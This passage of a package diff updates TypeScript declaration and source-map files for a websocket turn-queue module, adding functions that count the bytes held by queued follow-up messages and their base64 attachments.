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"}
|
package/dist/ws/turns.d.ts
CHANGED
|
@@ -6,6 +6,20 @@ export interface QueuedFollowUp {
|
|
|
6
6
|
/** Device snapshot taken when the message was sent, not when it runs. */
|
|
7
7
|
client?: ClientEnvironment;
|
|
8
8
|
}
|
|
9
|
+
/**
|
|
10
|
+
* Bytes one queued entry keeps alive in this process until its turn runs.
|
|
11
|
+
*
|
|
12
|
+
* Attachments dominate and are still base64 here — the host never decodes a
|
|
13
|
+
* follow-up's images, it hands the same strings to the backend when the turn
|
|
14
|
+
* starts — so their wire length IS the retained size. (A JS string may cost
|
|
15
|
+
* two bytes per character internally; this deliberately measures the payload,
|
|
16
|
+
* not the engine's representation, so the number matches what the sender put
|
|
17
|
+
* on the wire.) The client snapshot is a handful of short fields and is not
|
|
18
|
+
* worth walking.
|
|
19
|
+
*/
|
|
20
|
+
export declare function queuedFollowUpBytes(entry: QueuedFollowUp): number;
|
|
21
|
+
/** Total bytes currently parked in a session's follow-up queue. */
|
|
22
|
+
export declare function queuedBytes(turn: RunningTurn): number;
|
|
9
23
|
/**
|
|
10
24
|
* One RUNNING session slot. `abortController`/`timeoutHandle` belong to the
|
|
11
25
|
* turn currently executing; a queued follow-up runs as the next turn in the
|
package/dist/ws/turns.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"turns.d.ts","sourceRoot":"","sources":["../../src/ws/turns.ts"],"names":[],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"turns.d.ts","sourceRoot":"","sources":["../../src/ws/turns.ts"],"names":[],"mappings":"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"}
|